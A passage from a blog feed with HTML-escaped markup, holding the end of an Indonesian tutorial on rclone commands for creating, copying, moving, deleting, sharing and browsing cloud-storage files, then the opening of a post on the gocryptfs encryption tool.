detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tree&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Creating&lt;a href=&quot;#creating&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa membuat direktori dan file baru.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membuat direktori baru.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rlcone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:/&amp;lt;direktori_baru&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Membuat file baru.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama&amp;gt;:/&amp;lt;file_baru&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Uploading &amp;amp; Downloading&lt;a href=&quot;#uploading--downloading&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa menambahkan (meng-&lt;em&gt;upload&lt;/em&gt; dan men-&lt;em&gt;download&lt;/em&gt;) file dan direktori/folder.&lt;/p&gt;&lt;p&gt;Untuk meng-&lt;em&gt;upload&lt;/em&gt;/men-&lt;em&gt;download&lt;/em&gt; file dan direktori/folder, kita dapat menggunakan salah satu diantara dua opsi berikut:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rclone copy&lt;/code&gt;: untuk meng-&lt;em&gt;copy&lt;/em&gt;/meng-&lt;em&gt;upload&lt;/em&gt;/men-&lt;em&gt;download&lt;/em&gt; file &amp;amp; direktory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rclone move&lt;/code&gt;: untuk memindahkan/meng-&lt;em&gt;upload&lt;/em&gt;/men-&lt;em&gt;download&lt;/em&gt; file &amp;amp; direktory.&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;copy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-P&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;source:path&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;destination:path&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika ingin meng-&lt;em&gt;copy&lt;/em&gt; direktori, jangan lupa menambahkan path/direktori yang ingin di-&lt;em&gt;copy&lt;/em&gt; di &lt;em&gt;destination&lt;/em&gt;.
Contoh:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;copy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gdrive:/direktori_baru/test&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;copying directory&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;823&quot; src=&quot;/_astro/ss12.CsCdgkcw_1CXpH7.webp&quot; /&gt;&lt;figcaption&gt;copying directory&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;copy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;move&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-P&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;source:path&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;destination:path&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika ingin meng-&lt;em&gt;copy&lt;/em&gt; direktori, jangan lupa menambahkan path/direktori yang ingin di-&lt;em&gt;copy&lt;/em&gt; di &lt;em&gt;destination&lt;/em&gt;.
Contoh:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;move&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;coba/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gdrive:/direktori_baru/coba&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ss13&quot; title=&quot;moving directory&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;821&quot; src=&quot;/_astro/ss13.DhlK20Ll_20iqwM.webp&quot; /&gt;&lt;figcaption&gt;ss13&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;move&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Deleting&lt;a href=&quot;#deleting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita bisa menghapus file dan direktori.&lt;/p&gt;&lt;p&gt;Untuk menghapus direktori dan seluruh isinya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;purge&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote:path&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;purge&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk menghapus file, kita punya 2 cara:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menghapus file secara individual.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deletefile&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote:path/&amp;lt;file_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deletefile&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Menghapus file dengan kriteria tertentu.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Misalnya, saya ingin menghapus file yang ukurannya 0 KB.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote:path&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--max-size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1K&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perintah di atas berarti, rclone akan menghapus semua file yang berukuran kurang dari 1 KB di direktori (dan sub-direktori) yang di-&lt;em&gt;input&lt;/em&gt;-kan.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;delete&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Providing link&lt;a href=&quot;#providing-link&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga bisa membuat link untuk file atau direktori yang ingin kita bagikan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membuat like untuk file.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote:path/to/file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Membuat link untuk direktori/folder.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote:path/to/folder&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;GUI&lt;a href=&quot;#gui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita ingin proses manajemen cloud storage-nya lebih interaktif, kita bisa menfaatkan fitur GUI &lt;code&gt;rclone&lt;/code&gt; yang akan ditampilkan melaui interface web:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gui&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--rc-web-gui-no-open-browser&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nanti, akan muncul alamat url untuk membuka web-nya. Pastikan kita meng-&lt;em&gt;copy-paste&lt;/em&gt; semua url yang muncul (termasuk creds-nya).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rclone gui via web server&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss14.CEtdmrOm_Z2dlnpd.webp&quot; /&gt;&lt;figcaption&gt;rclone gui via web server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Untuk lebih tau cara menggunakan perintahnya secara detail:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;gui&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk mengeksplorasi perintah-perintah dan kemampuan dari rclone yang belum dibahas di sini, silakan cari tahu sendiri dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Oke, sekian dulu tutorial &lt;code&gt;rclone&lt;/code&gt;.
Terima kasih sudah mampir.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/drive/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/drive/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/mega/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/mega/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/protondrive/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/protondrive/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/onedrive/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/onedrive/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://rclone.org/b2/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/b2/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://koofr.eu/&quot; target=&quot;_blank&quot;&gt;https://koofr.eu/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Gocryptfs: A File-based Encryption Tool Written in Go</title><link>https://shangdi.github.io/posts/tech/gocryptfs/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/gocryptfs/</guid><description>Have you ever dreamt of a (terminal) tool that is able to encrypt your regular file (and directories) in a convenient way? Gocryptfs is your answer. It is a terminal-based, powerful, and open source encryption tool.</description><pubDate>Tue, 26 May 2026 02:53:58 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Preambul&lt;a href=&quot;#preambul&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa saat lalu, saya membayangkan untuk punya alat digital yang dapat mengenkripsi file dan folder saya di komputer. Kemudian, saya coba cari di Google untuk memenuhi rasa penasaran tersebut. Ternyata, terdapat beberapa tools yang dapat saya gunakan untuk keperluan tersebut, salah satunya adalah &lt;code&gt;gocryptfs&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;gocryptfs&lt;/code&gt; adalah tool enkripsi berbasis file yang ditulis dengan bahasa pemrograman &lt;a href=&quot;https://go.dev/&quot; target=&quot;_blank&quot;&gt;Go&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Berbeda dengan &lt;code&gt;cryptsetup&lt;/code&gt; yang digunakan untuk mengenkripsi drive atau partisi, &lt;code&gt;gocryptfs&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; yang 